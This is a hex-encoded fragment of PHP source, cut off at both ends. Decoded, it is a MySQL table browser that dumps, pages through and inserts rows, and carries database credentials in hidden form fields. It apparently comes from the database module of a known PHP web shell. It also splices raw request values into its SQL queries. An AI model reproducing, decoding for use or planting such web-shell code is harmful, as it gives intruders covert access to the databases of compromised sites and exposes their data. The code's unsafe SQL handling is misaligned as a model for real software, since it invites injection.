6F 75 6E 74 29 3B 0A 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 63 6F 75 6E 74 29 3B 0A 20 20 20 20 20 24 74 62 6C 5F 73 74 72 75 63 74 5F 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 22 53 48 4F 57 20 46 49 45 4C 44 53 20 46 52 4F 4D 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 3B 22 29 3B 0A 20 20 20 20 20 24 74 62 6C 5F 73 74 72 75 63 74 5F 66 69 65 6C 64 73 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 20 20 77 68 69 6C 65 20 28 24 72 6F 77 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 73 73 6F 63 28 24 74 62 6C 5F 73 74 72 75 63 74 5F 72 65 73 75 6C 74 29 29 20 7B 24 74 62 6C 5F 73 74 72 75 63 74 5F 66 69 65 6C 64 73 5B 5D 20 3D 20 24 72 6F 77 3B 7D 0A 20 20 20 20 20 69 66 20 28 24 73 71 6C 5F 6C 73 20 3E 20 24 73 71 6C 5F 6C 65 29 20 7B 24 73 71 6C 5F 6C 65 20 3D 20 24 73 71 6C 5F 6C 73 20 2B 20 24 70 65 72 70 61 67 65 3B 7D 0A 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 70 61 67 65 29 29 20 7B 24 73 71 6C 5F 74 62 6C 5F 70 61 67 65 20 3D 20 30 3B 7D 0A 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 6C 73 29 29 20 7B 24 73 71 6C 5F 74 62 6C 5F 6C 73 20 3D 20 30 3B 7D 0A 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 6C 65 29 29 20 7B 24 73 71 6C 5F 74 62 6C 5F 6C 65 20 3D 20 33 30 3B 7D 0A 20 20 20 20 20 24 70 65 72 70 61 67 65 20 3D 20 24 73 71 6C 5F 74 62 6C 5F 6C 65 20 2D 20 24 73 71 6C 5F 74 62 6C 5F 6C 73 3B 0A 20 20 20 20 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 70 65 72 70 61 67 65 29 29 20 7B 24 70 65 72 70 61 67 65 20 3D 20 31 30 3B 7D 0A 20 20 20 20 20 24 6E 75 6D 70 61 67 65 73 20 3D 20 24 63 6F 75 6E 74 5F 72 6F 77 5B 30 5D 2F 24 70 65 72 70 61 67 65 3B 0A 20 20 20 20 20 24 65 20 3D 20 65 78 70 6C 6F 64 65 28 22 20 22 2C 24 73 71 6C 5F 6F 72 64 65 72 29 3B 0A 20 20 20 20 20 69 66 20 28 63 6F 75 6E 74 28 24 65 29 20 3D 3D 20 32 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 69 66 20 28 24 65 5B 30 5D 20 3D 3D 20 22 64 22 29 20 7B 24 61 73 63 5F 64 65 73 63 20 3D 20 22 44 45 53 43 22 3B 7D 0A 20 20 20 20 20 20 65 6C 73 65 20 7B 24 61 73 63 5F 64 65 73 63 20 3D 20 22 41 53 43 22 3B 7D 0A 20 20 20 20 20 20 24 76 20 3D 20 22 4F 52 44 45 52 20 42 59 20 60 22 2E 24 65 5B 31 5D 2E 22 60 20 22 2E 24 61 73 63 5F 64 65 73 63 2E 22 20 22 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 24 76 20 3D 20 22 22 3B 7D 0A 20 20 20 20 20 24 71 75 65 72 79 20 3D 20 22 53 45 4C 45 43 54 20 2A 20 46 52 4F 4D 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 20 22 2E 24 76 2E 22 4C 49 4D 49 54 20 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 73 2E 22 20 2C 20 22 2E 24 70 65 72 70 61 67 65 2E 22 22 3B 0A 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 71 75 65 72 79 29 20 6F 72 20 70 72 69 6E 74 28 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 29 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 3C 63 65 6E 74 65 72 3E 3C 62 3E 54 61 62 6C 65 20 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 74 62 6C 29 2E 22 20 28 22 2E 6D 79 73 71 6C 5F 6E 75 6D 5F 66 69 65 6C 64 73 28 24 72 65 73 75 6C 74 29 2E 22 20 63 6F 6C 73 20 61 6E 64 20 22 2E 24 63 6F 75 6E 74 5F 72 6F 77 5B 30 5D 2E 22 20 72 6F 77 73 29 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 2E 22 26 73 71 6C 5F 74 62 6C 5F 61 63 74 3D 73 74 72 75 63 74 75 72 65 5C 22 3E 5B 26 6E 62 73 70 3B 3C 62 3E 53 74 72 75 63 74 75 72 65 3C 2F 62 3E 26 6E 62 73 70 3B 5D 3C 2F 61 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 2E 22 26 73 71 6C 5F 74 62 6C 5F 61 63 74 3D 62 72 6F 77 73 65 5C 22 3E 5B 26 6E 62 73 70 3B 3C 62 3E 42 72 6F 77 73 65 3C 2F 62 3E 26 6E 62 73 70 3B 5D 3C 2F 61 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 2E 22 26 73 71 6C 5F 61 63 74 3D 74 62 6C 64 75 6D 70 26 74 68 69 73 74 62 6C 3D 31 5C 22 3E 5B 26 6E 62 73 70 3B 3C 62 3E 44 75 6D 70 3C 2F 62 3E 26 6E 62 73 70 3B 5D 3C 2F 61 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 2E 22 26 73 71 6C 5F 74 62 6C 5F 61 63 74 3D 69 6E 73 65 72 74 5C 22 3E 5B 26 6E 62 73 70 3B 3C 62 3E 49 6E 73 65 72 74 3C 2F 62 3E 26 6E 62 73 70 3B 5D 3C 2F 61 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 20 69 66 20 28 24 73 71 6C 5F 74 62 6C 5F 61 63 74 20 3D 3D 20 22 73 74 72 75 63 74 75 72 65 22 29 20 7B 65 63 68 6F 20 22 3C 62 72 3E 3C 62 72 3E 3C 62 3E 43 6F 6D 69 6E 67 20 73 6F 6F 6F 6E 21 3C 2F 62 3E 22 3B 7D 0A 20 20 20 20 20 69 66 20 28 24 73 71 6C 5F 74 62 6C 5F 61 63 74 20 3D 3D 20 22 69 6E 73 65 72 74 22 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 29 29 20 7B 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 20 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 72 61 64 69 6F 29 29 0A 20 20 20 20 20 20 7B 0A 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 62 72 3E 3C 62 3E 49 6E 73 65 72 74 69 6E 67 20 72 6F 77 20 69 6E 74 6F 20 74 61 62 6C 65 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 29 29 0A 20 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 20 24 73 71 6C 5F 71 75 65 72 79 20 3D 20 22 53 45 4C 45 43 54 20 2A 20 46 52 4F 4D 20 60 22 2E 24 73 71 6C 5F 74 62 6C 2E 22 60 22 3B 0A 20 20 20 20 20 20 20 20 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 20 57 48 45 52 45 22 2E 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 3B 0A 20 20 20 20 20 20 20 20 24 73 71 6C 5F 71 75 65 72 79 20 2E 3D 20 22 20 4C 49 4D 49 54 20 31 3B 22 3B 0A 20 20 20 20 20 20 20 20 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75 65 72 79 28 24 73 71 6C 5F 71 75 65 72 79 2C 24 73 71 6C 5F 73 6F 63 6B 29 20 6F 72 20 70 72 69 6E 74 28 22 3C 62 72 3E 3C 62 72 3E 22 2E 6D 79 73 71 6C 5F 73 6D 61 72 74 65 72 72 6F 72 28 29 29 3B 0A 20 20 20 20 20 20 20 20 24 76 61 6C 75 65 73 20 3D 20 6D 79 73 71 6C 5F 66 65 74 63 68 5F 61 73 73 6F 63 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 20 20 20 20 6D 79 73 71 6C 5F 66 72 65 65 5F 72 65 73 75 6C 74 28 24 72 65 73 75 6C 74 29 3B 0A 20 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 20 65 6C 73 65 20 7B 24 76 61 6C 75 65 73 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 5C 22 50 4F 53 54 5C 22 3E 3C 54 41 42 4C 45 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 5C 22 31 25 5C 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 46 69 65 6C 64 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 54 79 70 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 46 75 6E 63 74 69 6F 6E 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 62 3E 56 61 6C 75 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 20 20 66 6F 72 65 61 63 68 20 28 24 74 62 6C 5F 73 74 72 75 63 74 5F 66 69 65 6C 64 73 20 61 73 20 24 66 69 65 6C 64 29 0A 20 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 20 24 6E 61 6D 65 20 3D 20 24 66 69 65 6C 64 5B 22 46 69 65 6C 64 22 5D 3B 0A 20 20 20 20 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 29 29 20 7B 24 76 20 3D 20 22 22 3B 7D 0A 20 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 3C 62 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6E 61 6D 65 29 2E 22 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 22 2E 24 66 69 65 6C 64 5B 22 54 79 70 65 22 5D 2E 22 3C 2F 74 64 3E 3C 74 64 3E 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 66 75 6E 63 74 73 5B 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6E 61 6D 65 29 2E 22 5D 5C 22 3E 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 5C 22 3E 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 50 41 53 53 57 4F 52 44 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 4D 44 35 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 45 4E 43 52 59 50 54 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 41 53 43 49 49 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 43 48 41 52 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 52 41 4E 44 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 4C 41 53 54 5F 49 4E 53 45 52 54 5F 49 44 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 43 4F 55 4E 54 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 41 56 47 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 53 55 4D 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 5C 22 3E 2D 2D 2D 2D 2D 2D 2D 2D 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 53 4F 55 4E 44 45 58 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 4C 43 41 53 45 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 55 43 41 53 45 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 4E 4F 57 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 43 55 52 44 41 54 45 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 43 55 52 54 49 4D 45 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 46 52 4F 4D 5F 44 41 59 53 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 46 52 4F 4D 5F 55 4E 49 58 54 49 4D 45 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 50 45 52 49 4F 44 5F 41 44 44 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 50 45 52 49 4F 44 5F 44 49 46 46 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 54 4F 5F 44 41 59 53 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 55 4E 49 58 5F 54 49 4D 45 53 54 41 4D 50 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 55 53 45 52 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 57 45 45 4B 44 41 59 3C 2F 6F 70 74 69 6F 6E 3E 3C 6F 70 74 69 6F 6E 3E 43 4F 4E 43 41 54 3C 2F 6F 70 74 69 6F 6E 3E 3C 2F 73 65 6C 65 63 74 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5B 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6E 61 6D 65 29 2E 22 5D 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 76 61 6C 75 65 73 5B 24 6E 61 6D 65 5D 29 2E 22 5C 22 20 73 69 7A 65 3D 35 30 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 20 20 20 20 24 69 2B 2B 3B 0A 20 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 72 61 64 69 6F 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 72 61 64 69 6F 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 22 3B 20 69 66 20 28 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 29 29 20 7B 65 63 68 6F 20 22 20 63 68 65 63 6B 65 64 22 3B 7D 20 65 63 68 6F 20 22 3E 3C 62 3E 49 6E 73 65 72 74 20 61 73 20 6E 65 77 20 72 6F 77 3C 2F 62 3E 22 3B 0A 20 20 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 29 29 20 7B 65 63 68 6F 20 22 20 6F 72 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 72 61 64 69 6F 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 72 61 64 69 6F 5C 22 20 76 61 6C 75 65 3D 5C 22 32 5C 22 20 63 68 65 63 6B 65 64 3E 3C 62 3E 53 61 76 65 3C 2F 62 3E 22 3B 20 65 63 68 6F 20 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 74 62 6C 5F 69 6E 73 65 72 74 5F 71 29 2E 22 5C 22 3E 22 3B 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 43 6F 6E 66 69 72 6D 5C 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 69 66 20 28 24 73 71 6C 5F 74 62 6C 5F 61 63 74 20 3D 3D 20 22 62 72 6F 77 73 65 22 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 73 71 6C 5F 74 62 6C 5F 6C 73 20 3D 20 61 62 73 28 24 73 71 6C 5F 74 62 6C 5F 6C 73 29 3B 0A 20 20 20 20 20 20 24 73 71 6C 5F 74 62 6C 5F 6C 65 20 3D 20 61 62 73 28 24 73 71 6C 5F 74 62 6C 5F 6C 65 29 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 6D 75 6C 74 69 70 61 67 65 5C 22 20 68 65 69 67 68 74 3D 5C 22 31 32 5C 22 20 77 69 64 74 68 3D 5C 22 31 30 5C 22 20 61 6C 74 3D 5C 22 50 61 67 65 73 5C 22 3E 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 20 20 24 62 20 3D 20 30 3B 0A 20 20 20 20 20 20 66 6F 72 28 24 69 3D 30 3B 24 69 3C 24 6E 75 6D 70 61 67 65 73 3B 24 69 2B 2B 29 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 69 66 20 28 28 24 69 2A 24 70 65 72 70 61 67 65 20 21 3D 20 24 73 71 6C 5F 74 62 6C 5F 6C 73 29 20 6F 72 20 28 24 69 2A 24 70 65 72 70 61 67 65 2B 24 70 65 72 70 61 67 65 20 21 3D 20 24 73 71 6C 5F 74 62 6C 5F 6C 65 29 29 20 7B 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 71 6C 5F 73 75 72 6C 2E 22 73 71 6C 5F 74 62 6C 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 73 71 6C 5F 74 62 6C 29 2E 22 26 73 71 6C 5F 6F 72 64 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6F 72 64 65 72 29 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 73 3D 22 2E 28 24 69 2A 24 70 65 72 70 61 67 65 29 2E 22 26 73 71 6C 5F 74 62 6C 5F 6C 65 3D 22 2E 28 24 69 2A 24 70 65 72 70 61 67 65 2B 24 70 65 72 70 61 67 65 29 2E 22 5C 22 3E 3C 75 3E 22 3B 7D 0A 20 20 20 20 20 20 20 65 63 68 6F 20 24 69 3B 0A 20 20 20 20 20 20 20 69 66 20 28 28 24 69 2A 24 70 65 72 70 61 67 65 20 21 3D 20 24 73 71 6C 5F 74 62 6C 5F 6C 73 29 20 6F 72 20 28 24 69 2A 24 70 65 72 70 61 67 65 2B 24 70 65 72 70 61 67 65 20 21 3D 20 24 73 71 6C 5F 74 62 6C 5F 6C 65 29 29 20 7B 65 63 68 6F 20 22 3C 2F 75 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 20 20 20 20 69 66 20 28 28 24 69 2F 33 30 20 3D 3D 20 72 6F 75 6E 64 28 24 69 2F 33 30 29 29 20 61 6E 64 20 28 24 69 20 3E 20 30 29 29 20 7B 65 63 68 6F 20 22 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 26 6E 62 73 70 3B 22 3B 7D 0A 20 20 20 20 20 20 7D 0A 20 20 20 20 20 20 69 66 20 28 24 69 20 3D 3D 20 30 29 20 7B 65 63 68 6F 20 22 65 6D 70 74 79 22 3B 7D 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 5C 22 47 45 54 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 61 63 74 5C 22 20 76 61 6C 75 65 3D 5C 22 73 71 6C 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 64 62 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 64 62 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 6C 6F 67 69 6E 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6C 6F 67 69 6E 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 70 61 73 73 77 64 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 61 73 73 77 64 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 73 65 72 76 65 72 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 73 65 72 76 65 72 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 70 6F 72 74 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 70 6F 72 74 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 74 62 6C 29 2E 22 5C 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 68 69 64 64 65 6E 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 6F 72 64 65 72 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 71 6C 5F 6F 72 64 65 72 29 2E 22 5C 22 3E 3C 62 3E 46 72 6F 6D 3A 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5F 6C 73 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 73 2E 22 5C 22 3E 26 6E 62 73 70 3B 3C 62 3E 54 6F 3A 3C 2F 62 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 73 71 6C 5F 74 62 6C 5F 6C 65 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 73 71 6C 5F 74 62 6C 5F 6C 65 2E 22 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 73 75 62 6D 69 74 5C 22 20 76 61 6C 75 65 3D 5C 22 56 69 65 77 5C 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 66 6F 72 6D 20 6D 65 74 68 6F 64 3D 5C 22 50 4F 53 54 5C 22 3E 3C 54 41 42 4C 45 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 5C 22 31 25 5C 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 22 3B 0A 20 20 20 20 20 20 65 63 68 6F 20 22 3C 74 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 62 6F 78 72 6F 77 5F 61 6C 6C 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 3E 3C 2F 74 64 3E 22 3B 0A 20 20 20 20 20 20 66 6F 72 20 28 24 69 3D 30 3B 24 69 3C 6D 79 73 71 6C 5F 6E 75 6D 5F 66 69 65 6C 64 73 28 24 72 65 73 75 6C 74 29 3B 24 69 2B 2B 29 0A 20 20 20 20 20 20 7B 0A 20 20 20 20 20 20 20 24 76 20 3D 20 6D 79 73 71 6C 5F 66 69 65 6C 64 5F 6E 61 6D 65 28 24 72 65 73 75 6C 74 2C 24 69 29 3B 0A 20 20 20 20 20 20 20 69 66 20 28 24 65 5B 30 5D 20 